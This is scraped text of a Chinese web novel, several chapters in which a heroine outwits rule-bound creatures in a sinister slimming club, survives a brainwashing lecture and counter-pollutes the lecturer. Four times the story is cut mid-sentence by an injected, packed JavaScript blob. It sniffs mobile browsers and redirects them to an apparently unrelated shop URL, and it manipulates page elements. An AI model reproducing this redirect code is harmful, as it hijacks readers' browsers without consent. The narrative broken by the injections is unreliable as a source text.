看来苗苗要遵守的规则里不包括及时交付手册。雁惊春心中有些遗憾,但苗苗这种拖沓的态度反倒更显得手册重要,令她越发坚定了拿到手册的决心。 她思忖片刻,忽然上前一步:“手册找不到就算了,但是作为俱乐部的工作人员,手册里的内容你总该记得吧。麻烦你告诉我,手册里有说过不能打工作人员吗?” 苗苗立刻后退一步,警惕道:“你想干嘛?我警告你,根据《会员手册》第十一条,会员禁止殴打前台、教练、专家、导师等俱乐部工作人员!” “哦——”雁惊春拉长声音应了一声,进一步逼近了苗苗:“那手册里有没有说过,会员不许携带工作人员一起移动?” “……”苗苗没吭声,只是又往后挪了挪,后背紧紧贴着服务台。 “看来是没有了。”雁惊春轻笑一声,向苗苗伸出了手。 “你干嘛,放开我!”苗苗奋力抵抗,可是凭它这样瘦小的身材,如何敌得过一名成年女性? 雁惊春没费太大力气,便拎小鸡崽似的将苗苗扯出服务台,带进了电梯。 然而在进入电梯后,苗苗居然不再挣扎,反而仰起头朝她露出了灿烂的笑容:“哎呀,你难道要强行带我上楼吗?好可怕哦。” 雁惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841650|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春按向电梯按键的手倏然顿住,若有所思:“难道把工作人员带离岗位也会受到惩罚?还是说你们一旦脱离自己所在的楼层,就不会再受到规则的束缚了?” 苗苗又不笑了。 这下笑容转移到了雁惊春脸上:“放心,我是个心地善良的人,怎么会强行让你和你热爱的工作岗位分离呢?我只是担心自己不会用你们这里的电梯,所以想请你帮忙看看而已。” 说话间,她状似不经意地转动了下手臂,刚好让苗苗的头部悬在了两扇敞开的电梯门之间。 “我看看......关门键是这个吧。”雁惊春嘟哝着,抬手按下电梯的关门按钮。霎时间,两扇电梯门向内合拢,在狠狠夹了一下苗苗的脑袋后又再度弹开。 “啊!好痛!”苗苗当场痛呼出声。 “哎呀,不好意思,我现在就把门打开。”雁惊春嘴上道着歉,手指却再次按下了关门键。 苗苗还没从刚才的疼痛中缓过劲来,脑袋就又被电梯门夹住,立即尖叫起来:“你是故意的!手册里规定了会员不可以殴打工作人员,你违规了!” “我没有打你呀,我只是恰好和你乘坐了同一部电梯,又恰好不太熟悉电梯的操作而已,这怎么能算违规呢?”雁惊春理直气壮,“再说了,我刚刚只是因为太紧张,才手滑按错了按钮。你别急,再给我一次机会。” 随着她的手指再次按下按键,苗苗的脑袋又一次承受了电梯门的猛烈夹击。 “啊!住手,住手!”苗苗像一条打挺的鱼般挣动起来,雁惊春用力将它箍紧,毫不犹豫地再度关上了电梯门。 苗苗:“好痛!该死的,放开我!” 雁惊春:“不好意思,刚才分神了,一不小心又按错了。” 苗苗:“我要杀了你!你给我等着,我一定要杀了你!” 雁惊春:“嘘,小点声,你吵得我眼睛都花了,更看不清电梯按钮了。啊,我好像又按错了呢。” ...... 在经历过电梯门的连续暴击后,苗苗的头颅两侧肉眼可见地凹陷了下去,整张脸都变得有些走形。 此刻它终于认清了现实,不再嚷着让雁惊春停手,也不再威胁日后报复,转而开始求饶:“妙手回春,妙手回春!你先等等,我突然想到《会员手册》放在哪了!” 雁惊春的手指悬停在了关门键上:“真的?” “真的,真的!妙手回春,我真的想起来了!”苗苗连忙点头。 “太好了,没想到我的无心之失竟然能帮你恢复记忆。”雁惊春笑容和煦,“看来我的名字和我本人真的很配,连失忆这种疑难杂症都能被我无意间治好。” 她将苗苗拎出电梯,往服务台走去:“那现在就让我看看你是不是真的找回了记忆吧,如果你的失忆症有所反复,我不介意再为你做一次记忆恢复疗法哦。” 苗苗乖顺地应了声,在被她放下后立刻拉开一只抽屉,从中掏出一本薄薄的册子递给雁惊春:“给您,这就是《会员手册》。” 雁惊春随手接过,简单翻动了一下,果然看见手册中整整齐齐地列着不少规则条款,苗苗之前提到过的那些规则也在其中。 但是目前距离活动开始所剩的时间已经不多,她便没有细看,拿着手册径直向电梯走去。 当然,这次进入电梯的只有她自己。 在没有了苗苗的干扰后,她对电梯的操作骤然变得极为熟悉,迅速且准确地接连按下了“2楼”和“关门”按键。 透过缓缓合拢的门缝,她瞧见苗苗正从服务台探出头望向自己,便笑着抬起手朝它挥了挥。 苗苗立刻又缩了回去。紧接着,电梯门完全合上,轿厢开始上升。 雁惊春回想着苗苗方才的表情,忍不住叹了口气。 哎,初见时那么爱笑的苗苗,如今脸上怎么完全见不到笑容了呢? 25. 异食俱乐部4 电梯很快便抵达了二楼,雁惊春将《会员手册》放进口袋,走出电梯厅,果然见到正前方有一间面积不大的礼堂。 礼堂门口正站着一名枯瘦的老人,雁惊春走近后首先望向老人的胸牌,只见上面写着“专家-猛瘦”。 看来这也是一只蜕。 不过,猛瘦显然比苗苗更沉得住气,见她准时赶到,却没有露出失望的神色,依旧微笑着朝她招手:“会员你好,请来这里扫描签到。” 雁惊春顺着它的指引走向门口,发现门边的光屏上总共有八个名字,如今六个名字后面已经显示“签到成功”,其中就包括她想要尝试接触的“干饭大王”。 在扫描完她的胸牌后,“妙手回春”的后面也多出了“签到成功”的提示,目前尚未完成签到的只剩下一个名为“nono”的人。 “感谢你前来参加本场讲座,现在你已经完成了签到,请随意找位置落座,讲座很快就要开始了。”猛瘦走过来催促她进场,挡住了她望向签到表的视线。 雁惊春收回目光,迈步走进礼堂,环顾四周,观察起已经落座的六人。 在场六人之中,除了一女一男紧挨着坐在了一起,其余四人都是单独落座的。 离门口最近的是并排落座的两人。其中年纪较轻的男人一直在微微颤抖,看起来十分紧张焦虑,稍显年长的女人则在拍着他的肩膀安慰他,只是声音压得很低,雁惊春完全听不清楚她在说什么。 再看单独落座的四人,其中三人的背影都极为瘦削,正常尺码的衣服套在他们身上却显得空荡荡的。他们个个坐得笔直,一动不动宛如雕塑。 恰在此时,剩下那人似乎听见了她走进礼堂的动静,好奇地转身看了过来。 雁惊春扭头与她对上视线,在看清那人的面容后顿时一愣。 这不是她在好梦床垫见过的学生之一吗?她依稀记得,在她即将无法承受过于剧烈的疼痛时,正是这名学生递来的止痛药帮她缓解了疼痛,让她顺利撑到了最后。 但她记得这名学生只是个普通人啊?怎么进入茧的频率比她还高? 想到那篇疯狂水字数的演讲稿,她心中浮现出一个猜想,主动上前,坐到了那名学生身边:“你好,我叫妙手回春,是今天新加入俱乐部的会员。” 说话间,她瞥了眼学生的胸牌,不出所料地发现上面的名字是“会员-干饭大王”。 难怪那篇演讲稿在水字数方面如此专业,这可是当今许多学生的必备技能。 干饭大王有些意外于雁惊春的接近,但不知怎地,她对眼前这个陌生女人有种莫名的亲近感,态度不自觉地友善起来:“你好,我叫......呃,干饭大王,今天是我加入俱乐部的第三天。” 雁惊春趁着交谈的工夫仔细观察了下干饭大王,在发觉她虽然神情疲惫,但神智尚且清醒后,不由松了口气。 显然,干饭大王在经历过破茧组织的催眠后,已经遗忘了在好梦床垫发生过的事情,也忘记了她。 但雁惊春仍念着她的送药之恩,决定在破茧之余尽可能保护好这个倒霉蛋的安全,帮她离开这里。 就在这时,礼堂门口骤然响起“砰”的一声,雁惊春循声望去,就见猛瘦已经将礼堂的大门关闭,正沿着走廊走向讲坛。 显然入场时间已经截止,但名为“nono”的人却始终没有现身。 她凑近干饭大王,小声询问:“你认识那个叫nono的人吗?他怎么没来?” 干饭大王摇摇头,同样压低了声音:“我没见过他,我来这三天他一场活动都没参加。” 雁惊春:“那些工作人员没因为他缺席而惩罚他吗?” 干饭大王:“没有,它们好像也找不到nono。” 雁惊春闻言有些惊讶,根据她的切身体会,织茧者可以时刻掌握自己茧中的动向。按理说,但凡nono尚在俱乐部内,织茧者就可以感知到他的位置,怎么可能找不到人? 然而她还没来得及细想,便觉眼前倏然一花,一个光屏浮现在她的面前。只见光屏页面的下半部分是键盘,上半部分则空白一片,唯有一枚光标在不停跳动。 她又望向在场其他人,发现每个人身前都出现了同样的光屏。 与此同时,猛瘦已经走上了讲坛:“各位会员,欢迎大家来参加讲座,我是本场讲座的主讲专家,猛瘦。” “鉴于今天有新加入的会员,我就再重复一遍参加讲座时的注意事项,请大家务必遵守。” “一、会员需遵守《会员手册》中的相关规定。” “二、会员需认真听讲,在讲座进行期间,会员禁止擅自离开座位、禁止打瞌睡、禁止扰乱礼堂秩序。” “三、会员需积极回答主讲专家提出的问题,如被点名回答问题的会员无法作答,将被逐出礼堂,并被视为未参加本场讲座。” “四、会员需在光屏上对本场讲座进行记录,讲座结束后,经主讲专家确认笔记合格后方可离场。” ...... 在它说话期间,干饭大王小心地取出了一本薄薄的册子,摊开放在了她与雁惊春中间的桌面上。 对上雁惊春不解的目光,她悄声解释:“这就是这家俱乐部的《会员手册》,是我偶然从宿舍的床板下发现的。” “我知道你可能一时难以接受,但请你相信我,这不是一家普通的俱乐部,它们的洗脑手段非常厉害,而且一旦有人违反了它们制定的规则,就会受到残酷的惩罚。”干饭大王神情严肃。 提到“惩罚”时,她不知想起了什么,面色变得极为难看,咬了咬牙才继续道:“你记住,讲座进行时只能老实呆在座位上,但千万不要真的去听讲和做笔记。” “假如你认真听了讲座的内容,就会被它洗脑,不仅大脑会变得迟钝,还会产生很多奇怪的想法,甚至......”她转动眼珠,用眼神示意雁惊春看向那三个单独落座的人。 “甚至会像他们那样,减肥成了皮包骨还觉得自己胖,精神完全失常,除了工作人员的安排外,根本听不进别人的话,也没有自己的想法。” 雁惊春听了她的叙述,顿时意识到讲座和笔记都是这个茧散播精神污染的手段。 她立即问出了最关键的问题:“可是你在这里呆了三天,看起来却没有被洗脑,你是怎么混过去的?” 干饭大王本以为雁惊春不会轻易接受她的说辞,毕竟就连她自己都觉得这里的规则十足荒谬。如今见雁惊春这么快就相信了她,干饭大王的心中不禁升起强烈的责任感,觉得自己不能辜负她的信任。 她点了点摊开的册子,吐字清晰,尽可能让雁惊春听清自己说的每一个字:“我是靠这本《会员手册》撑过来的。待会儿你别管它讲了什么,把全部注意力都放在手册上就行。至于笔记,你可以直接照抄手册上的内容。我这两天都是这么干的,亲测有效。” “简单总结一下,就是开会摸鱼。” 雁惊春:“......” 这个茧的保命方法怎么不是水字数就是开会摸鱼?好好的老实孩子进了茧都要变成滑头了! 她望向干饭大王的《会员手册》,发现这本册子除了比她的使用痕迹更重外,字里行间还多了些手写的红色标注。 其中最显眼的,是写在手册最上方那行字迹凌乱的提示:【不要听讲座!不要思考它说的话,不要试图记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846032|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 录它说了什么!专心阅读手册,记录手册内容,一直记、一直记,直到讲座结束!】 干饭大王注意到她的视线,主动解释:“这不是我写的。我找到它时上面就有这些字了,我就是靠着红字的提示苟到了现在。” 雁惊春点点头,对于干饭大王主动分享手册的行为有些触动。毕竟在这种时候,多一个人分享笔记就会多一分风险,她就没想过自己可能会中途争抢笔记,扰乱她的思路吗? 不,以她的聪明劲,或许已经想到了这种风险的存在,只是仍愿冒险帮忙。雁惊春并不觉得这是种天真乃至愚蠢,只觉得干饭大王身上有着值得敬重的赤城。 事到如今她也不再隐瞒,直接从衣兜里掏出了自己的《会员手册》展示给干饭大王:“好巧,我刚刚在前台也领了一本手册。不如我们就各抄各的,以免互相打扰,怎么样?” 干饭大王看到她拿出的手册,不由得吃惊地睁大了眼睛:“前台那个苗苗居然肯给你手册?我之前去找它的时候......” 她话还没说完,讲坛上的猛瘦便突然提高了音量,盖过了两人的窃窃私语:“以上就是本场讲座的全部注意事项。现在,讲座正式开始。” 听到这句话,干饭大王神色一凛,立刻止住了话头。 她向雁惊春投去一个鼓励的眼神,接着迅速拿过自己的手册,一边专注地阅读,一边在光屏上盲打手册上的内容,不敢有片刻分神。 雁惊春仗着自己的精神污染抗性异于常人,起初还试着听了几句诸如“依靠伟大的俱乐部创始人研制的减肥药,即可彻底摆脱罪恶的食物”之类的言论,但她虽没被影响认知,却觉得自己宛如接近了一个恶臭熏天的垃圾场,忍不住阵阵作呕。 她连忙强迫自己转移注意,按照干饭大王的建议打开《会员手册》,开始仔细阅读上面的内容: 【一、在瘦身俱乐部中,会员必须时刻佩戴由俱乐部前台制作的胸牌,胸牌上的字迹必须完整清晰,不得有脏污和缺损。】 【二、请各位会员牢记,肥胖即是罪孽。】 【三、本俱乐部鼓励会员互相帮助,当你在为他人清除罪孽时,你自身的罪孽也将一并削减。】 【四、减肥从控制饮食开始,各位会员除食用减肥药外,严禁摄入其它食物。】 【五、当前台、教练、专家、导师等俱乐部工作人员位于自身岗位所在楼层时,各位会员可于空白时段内,向其询问不超出其职能范围的问题。】 【六、在空白时段外,会员不得在宿舍滞留。】 【七、请各位会员积极参加活动,俱乐部每天安排四场活动,依次为讲座、交流会、瘦身运动、评比。前三场活动均签到成功时,方可参加评比。】 【八、瘦身运动能有效消除罪孽,全体会员均不得缺席。】 【九、如有会员缺席讲座或交流会,作为补偿,瘦身运动将消除更多罪孽。】 【十、通过评比活动的优秀会员,即可得到创始人的亲自指导。】 雁惊春将自己先前的经历与手册中的条款相对照,发觉在没拿到手册前,她就已避开了不少陷阱。 但与此同时,这些规则也让她产生了新的疑问。比如,手册中频繁提到的“消除罪孽”指的是什么?通过评比才能见到的“创始人”,会不会就是这个茧的织茧者? 怀着这些疑问,她将手册翻到了下一页: 【十一、会员禁止殴打前台、教练、专家、导师等俱乐部工作人员。】 这条规则她之前已经听苗苗提起过,便没太在意,随手将它输入到光屏上便继续往下看去。 然而,之后的内容却让她不自觉地蹙起了眉。 26. 异食俱乐部5 【十二、会员禁止偷盗或抢夺工作人员胸牌。】 【十三、会员禁止互换胸牌,禁止佩戴不属于会员本人的胸牌。】 【十四、会员禁止进入他人宿舍,禁止在宿舍内做出跑跳、唱歌等扰民行为。】 【十五、会员禁止破坏俱乐部公用设施,禁止在墙壁、地板、家具表面涂鸦。】 【十六、会员禁止撕扯、污染工作人员衣物。】 ...... 雁惊春看着手册上密密麻麻的规则,神情变得愈发微妙。 在阅读前十条规则时,她尚且能从中窥见这个茧的运行逻辑,可是自第十一条规则以后,她只能在一连串的“禁止”中感受到满满的破防。 怎么形容这些规则给她感觉呢......就像是被欺负后紧急打的补丁,某人扇了织茧者一耳光,织茧者就连夜颁布新规“禁止扇耳光”。于是那人第二天不再扇耳光了,改成踹了织茧者一脚,织茧者又赶紧在规则里加上“禁止踹人”。 根据这些规则倒推,很可能有人曾到处抢胸牌、在宿舍蹦迪、在俱乐部内大肆破坏,还扒了工作人员的衣服。 考虑到在她之前曾有5名能力者进入茧中,她怀疑做出了这些“丰功伟绩”的就是他们。 然而,这些举动即便在当时给织茧者带去过不少麻烦,最终却未能真正伤害到它——如今这个茧仍在正常运行,可在座的会员中却已看不到疑似能力者的身影。 那位缺席的会员“nono”名字与破茧组织人工智能相似,倒有可能是位能力者,偏偏他现在已不知所踪。 他们之前能将织茧者逼得频频增加规则,说明实力并不弱,为何还会在有明确规则的情况下破茧失败呢? 难道俱乐部创始人并非织茧者?还是说这个茧隐瞒了最关键的规则,《会员手册》只是对外来者的误导? 雁惊春脑中思绪纷乱,手上记录的动作却没有停止,没多久便将手册中的内容全部录入到了光屏上。 正当她打算将手册翻回第一页,从头开始抄第二遍时,她面前的光屏蓦地闪烁了一下,整个界面都变成了红色,又在下一秒恢复正常。 耳边传来干饭大王的轻声提醒:“要提问了。” 雁惊春望向周围,发现在座众人的屏幕如击鼓传花般依次闪烁起红光,似乎正在抽取答题人选。 两轮过后,红光闪烁的频率越来越慢。最终,在干饭大王的光屏再次变红后,界面上刺目的红色迟迟没有褪去。 与此同时,讲坛上传来猛瘦死板的声音:“干饭大王,请你回答我的问题。” “我们为什么要摒弃每天吃食物的恶习,选择服用创始人研制的减肥药?” 雁惊春在讲座刚开始时听了几句,当时猛瘦恰好在讲有关于食物和减肥药的内容,因此她还依稀记得这个问题的答案。 可是干饭大王全程溜号,恐怕并不知道该如何作答,雁惊春有心提醒,又担心传达猛瘦当时的发言会给干饭大王造成精神污染。 像这种蕴藏在话语中的污染,她本人倒是扛得住,但干饭大王毕竟是普通人,万一被她转述的话影响神智,之前所做的努力就会功亏一篑。 她迟疑着望向干饭大王,却见干饭大王的脸上丝毫不见紧张或担忧的神色,反倒看起来胸有成竹。 接着就听干饭大王语气笃定地说道:“因为人类通常有两个鼻孔,所以安全区总共被划分为了10个区域,而这恰恰导致我常喝的营养剂新推出了糖醋蛋黄鲱鱼口味。综上所述,学校超市的薯片半价了,而我挂科了。” 猛瘦:“......” 雁惊春:“......” 她看着干饭大王自信的侧脸,突然明白过来,这就好比被蜕询问“yesorno”时,无论顺着它的思路回答“yes”还是“no”,都会陷入它的逻辑,受到它的精神污染,那么干脆不去思考,敷衍地回答个“or”不就行了? 反正注意事项里只说了要回答问题,又没说要答对问题,而答非所问,也是一种回答。 果然,猛瘦在停顿片刻后,咬着牙感谢了干饭大王的作答,她的光屏也随之恢复了正常。 随后,猛瘦没有立刻发起下一轮提问,而是继续了它的宣讲。 这次的危机好像就这样平稳地渡过了。 然而一直关注着干饭大王的雁惊春注意到,干饭大王在被提问打断思路后,没能及时将注意力收回,仍保持着回答问题时的姿势,她双手搭在桌上,抬着头怔怔地盯着讲坛上的猛瘦。 雁惊春顿觉不妙,连忙伸出手在她面前的桌上敲了敲。 干饭大王倏然回神,她下意识看向雁惊春,迷茫的双眼逐渐恢复清明。她感激地笑了笑,又赶紧扭过头,重新将精神集中到手册上。 雁惊春忍着不绝于耳的垃圾话又观察了她一会儿,在确定她已经找回状态后才移开视线,顺便瞄了眼在场其他人。 那三个骨瘦如柴的人依然笔直地坐着,双手交叠放在桌上,仰脸凝视着猛瘦,宛如认真听讲的小学生,看样子已经彻底没救了。 后方那一女一男或许是受到过干饭大王的提醒,或许是靠自身观察摸索出了经验,也准备了转移注意的东西,此时正对照着光脑在光屏上敲敲打打。 考虑到茧内接收不到常规信号,他们看的应该是提前录入光脑的离线资料,可惜现在绝大多数光脑都有防窥功能,雁惊春完全看不见他们光脑上的内容。 他们的专注力显然比不上干饭大王,尤其是那个年轻男人,总是时不时停下动作,紧张兮兮地瞟一眼讲坛的方向。他们的精神状态也因此比干饭大王差了许多,好在两人可以在对方陷入恍惚时互相提醒,这才勉强维持住理智,不至于陷入疯狂。 雁惊春的视线在礼堂内扫过一圈,对现下的状况有了大概了解,便不再硬抗耳畔喋喋不休、令人作呕的宣讲,再次将全部心神放到《会员手册》上。 反正这一场活动的危险之处就在于讲座内容、提问和笔记检查,现在这三点都有了对应的应对方法,应该可以安稳过关了吧? ——这个美好的想法,在猛瘦第三次点到干饭大王的名字后彻底粉碎了。 干饭大王被接连的提问反复打断思路,精神显然愈发难以集中,发呆的次数也逐渐变多,虽然有雁惊春在旁提醒,但她的状态还是在肉眼可见地变差。 而这场讲座仍然没有停止的意思。 雁惊春皱起眉头。三次点到同一个人,看似是随机选择的结果,可她们现在身在茧中,轮选何时截止都由蜕操纵,她可不信这是什么巧合。 她的目光无意识地划过光屏上的规则,忽然想到,既然这个茧的风格就是凡事都要讲规则,那提问点名是否也遵循着某种规律? 顺着这个思路往下推,什么样的人会被优先点名?后加入的人?清醒的人?还是精神力强的人?可如果遵循这些规律,被点到的人都该是她,怎么会轮到干饭大王呢? 一定有什么,是干饭大王领先于其他人的。 她再次环视全场。全心听讲的三人、半听半不听的女男二人、偶尔听两句的她自己、竭力避免听讲的干饭大王。 她突然明白过来,是专注度。 讲座内容才是它传播污染的主要手段,提问的目的并非加深污染,而是为了吸引注意,将会员分散的注意力扯回讲座本身。干饭大王是在场所有人中最不关注讲座内容的人,自然首当其冲。 在想通这一点后,雁惊春立即收拢心神,不再分给猛瘦丝毫关注,也不再去管偶尔分心的干饭大王。 这样一来被点名提问的就会是她了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885447|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的抗性比在场所有人都强得多,完全可以凭借一段段废话糊弄完所有提问,一直拖到讲座结束。 但是,这是普通人保命的办法。作为织茧者,她可不想浪费这难得的反击机会。 倘若提问是随机点名,她确实不方便搞事,只能参照干饭大王的方法保守行动。可现在她发现点名是有规律的,这对蜕而言是搞针对的手段,对她而言却是送上门来的破绽。 ——它给了她发言的机会。而且是连续很多次发言的机会。 同为结蛹等级,一只蜕都能通过持续的语言输出散播精神污染,她这个织茧者自然也可以做到。 反正《会员手册》又没有规定“禁止散播精神污染”,不是吗? 雁惊春单手放到桌面下,心念一动,手中便出现了熟悉的【行医资格证】。 但她并不打算直接将它展示给猛瘦。 原因很简单,猛瘦向她施放精神污染时并不能即刻影响她的神智,只能通过持续输出令她的负面状态不断累积。 与之相对的,她也无法一亮出资格证就让猛瘦当场倒戈,同样需要通过多次回答来叠加精神污染的效果,逐步蚕食、操纵它的思想。 在这种情况下贸然拿出【行医资格证】,除了暴露真名、打草惊蛇以外,毫无用处。 所以她不能直接用资格证做污染源,让它直面猛瘦,而是要搭建一个用以传播精神污染的“中转站”。 这个中转站既要足以承受资格证的精神污染,又要不知不觉间将污染散播出去。而能做到这一点的,只有她自己。 【行医资格证】上附着的污染能力源于她本身,答题机会则让她有了光明正大散播污染的契机。 因此,她决定自己精神污染自己,让她本身成为一个新的污染源。 雁惊春垂下视线,头一次仔细打量起资格证的内容。 上面的信息与普通医院相似,只写了她的真名、职位、擅长病症,另外还附了一张照片,上面是她穿着白大褂朝镜头微笑的样子。 她很确定,自己从没有拍过这样的照片。 看着照片上“自己”唇角勾起的标准职业笑容,雁惊春的大脑开始晕眩。她意识到这是受到污染的前兆,索性放任自己沉溺其中。 刹那间,她的脑中像是闯进了无数飞蛾,它们振翅时发出的嗡鸣声在她脑海里不断回荡,时轻时重,时断时续,细听之下仿佛某种呓语。 理智迅速消退,她逐渐遗忘了自己身处何方,精神状态愈发接近觉醒之初,接近她无意间制造出茧、以自己的逻辑杀死“弟弟”的时候。 “妙手回春?春春?神医?” 一下比一下重的推搡和呼唤瞬间拉回了雁惊春残存的理智,她浑身一个激灵,资格证霎时从掌心消失。 她用力眨眨眼,望向满脸担忧的干饭大王,轻声说:“我没病,谢谢,请不要担心。” 干饭大王仍盯着她的脸看,欲言又止。 雁惊春不解地歪了下头,为什么要这样看着她?她已经成功吸纳了部分污染,也及时停止了对理智的侵蚀,现在非常健康,一切都在按计划进行。 “妙手回春,你是不是......”就在干饭大王迟疑着开口时,光屏上忽然再次闪烁起红光。 这一次,红光很快便停留在了雁惊春的光屏上。 讲坛上的猛瘦语调依旧平淡:“妙手回春,请你回答我的问题。” 突如其来的提问将干饭大王的话堵回了喉咙,她只能眼看着雁惊春倏地转动眼球,颤动的瞳孔望向了猛瘦的方向。 紧接着,雁惊春缓慢转动头颅,面对猛瘦,光屏上殷红的光芒映照着她的脸庞,令她那双布满血丝的眼睛显得愈发疯狂。 “好的,这位患者。”她露出了温和的笑容,“你想要问什么呢?” 27. 异食俱乐部6 患者?她刚刚说了“患者”对吧?这是什么意思,某种角色扮演吗? 干饭大王惊疑不定地望着雁惊春,总觉得她现在的样子有点吓人。 猛瘦却没有因这特殊的称呼而表现出异样,它像是被设定好程序的机器人,不论雁惊春说了什么,都照旧一板一眼地提出问题:“请你回答我,通过服用创始人研制的减肥药,能为会员的减肥带来哪些帮助?” “减肥药?你们向会员发放了自己研制的药物?”雁惊春唇角的笑意霎时消失,神情严肃:“你们只是一个俱乐部而已,有药品研发资质吗?做过临床实验吗?有药品生产许可证吗?药品允许上市了吗?给会员开药的工作人员有处方权吗?” 连珠炮式的质问让猛瘦古井无波的脸上出现了一丝波动,它像是感到困惑,在连串的质疑声中缓缓向右歪头。 等到雁惊春一段话说完,它的脑袋已经偏过了九十度。然而它的颈椎并未随着它的动作一起弯折,依旧笔直地支棱着,似乎随时能刺破干枯的皮肤。 它仿佛感觉不到身体的异状,只紧紧盯着雁惊春,迟缓地开口:“好的。感谢您的作答。现在讲座继续。” 话音刚落,光屏上的红光便逃跑似的倏然消散,猛瘦若无其事地接着提问前的话题继续宣讲,只是它的头颅仍未摆正,外突的颈骨格外显眼。 干饭大王大受震撼:“神医,你好像很专业的样子,难道你是业内人士?我感觉你再问一次都能把它的头给问掉!” 雁惊春矜持地颔首:“你猜得没错,我既可以研发药品,又能够给人开药,确实是业内人士。正因如此,我才看不下去它们的违规行为,干脆趁着回答问题的时候指出来。” “难怪你能说出那么多漏洞,你刚刚提到的环节都是你亲身经历过的吧。”干饭大王深感佩服。 雁惊春却摇了摇头:“不,我没经历过。” 干饭大王懵了:“......啊?等等,你的意思是你也没有那些资质、实验、许可证什么的?” 雁惊春理直气壮:“没有。我不需要那些。” 干饭大王:“......” 她懂了,原来所谓的“业内人士”指的不是正规制药,而是专业造假。 这位“神医”之所以能单刀直入地指出问题,恐怕只是因为违规的更清楚自己犯了哪些规,卖假药的更了解同行的药有多假。 雁惊春见她陷入沉默,索性将视线转回了自己的光屏上。 在看到界面上显示的内容后,她不屑地轻嗤一声,随后在干饭大王惊愕的目光中将已输入的内容全部清空,重新敲下一行字: “警惕!瘦身俱乐部正在摧毁你的身体健康!” “近日,市面上出现了以‘减肥’为噱头的俱乐部,经专业人士走访调查,发现该俱乐部存在传播错误瘦身理念、滥用药物等不良行为,会对您的健康造成以下危害......” 雁惊春手指如飞,迅速在光屏上详细列举了瘦身俱乐部的种种罪状。紧接着,她话锋一转: “通过上述科普,相信您已经明白了瘦身俱乐部有多么不可信。那么,倘若您还在为过度肥胖而感到困扰,该去哪里解决您的问题呢?” “小编在此向您推荐妙手回春诊所!这里有最专业的诊断,曾帮整个小区的居民摆脱臃肿的身体;有最暖心的医护,会在患者出院前送上热情的拥抱;有最见效的药品,能够取代俱乐部的伪劣药物,帮您打造最完美的健康身材!” 干饭大王不安地瞄了眼雁惊春的光屏,又看向自己手册空白处的红字备注。 其中有几行备注明确说明:【请注意,在讲座结束检查笔记时,只有受到俱乐部认可的理念才能被判定为有效!】 【《会员手册》是由俱乐部自行颁布的,所以它也是受到俱乐部认可的理念。记住,只有《会员手册》的内容是安全的,不要抄写其它语句或文字!】 在得到这本手册后,干饭大王一直在按照红字的提醒行动,借此避开了很多陷阱,安然无恙地度过了三天。 这无疑证实了红字的可靠,可雁惊春现在的行为却与红字的要求全然相反。 她没有在笔记上抄录《会员手册》,更没有写下俱乐部认可的言论,反而通篇都是对俱乐部的抨击,甚至写到最后还流露出了取而代之的意图。 干饭大王觉得她现在的精神状态已经不太正常了,自己应该制止她这种作死行为。 然而,当干饭大王无意间扫到她长篇大论的推荐语时,却不由自主地被牢牢吸引,不知怎地竟无法移开视线,只觉得这段话越看越有道理。 好像确实是这个诊所更好呢。 瘦身俱乐部的减肥方式太不健康了,诊所的治疗手段看起来就正规许多。 好想去妙手回春诊所啊。 就在干饭大王的眼神逐渐变得迷离时,雁惊春面前的光屏忽地再度被染成了血红色。 干饭大王猛然回神,与此同时,猛瘦又一次点到了雁惊春的名字:“妙手回春,请你回答我的问题。” 雁惊春的思路被打断,有些不悦地微微蹙眉,但最终还是和上次一样耐心地回答了猛瘦的提问。 干饭大王在旁边听着她们的一问一答,忍不住想:妙手回春不愧是专业卖假药的,这洗脑能力简直和猛瘦不相上下。 她的脑海中浮现出一个大胆的猜想:照这样下去,猛瘦会不会反过来被妙手回春洗脑? ......不,应该不可能吧,她之前回答问题时曾试着请求离开,也试过威胁它赶紧放人,可猛瘦就像听不懂人话一样,无论她说什么,它都不为所动。 她不免在心底自嘲自己的异想天开,却不料在之后的讲座过程中,猛瘦每次抽取回答对象时都选中了雁惊春,而每当雁惊春回答完一次问题,猛瘦的演讲就会变得愈发迟缓、卡顿,甚至出现了长时间一言不发的情况。 干饭大王不知道这种变化究竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 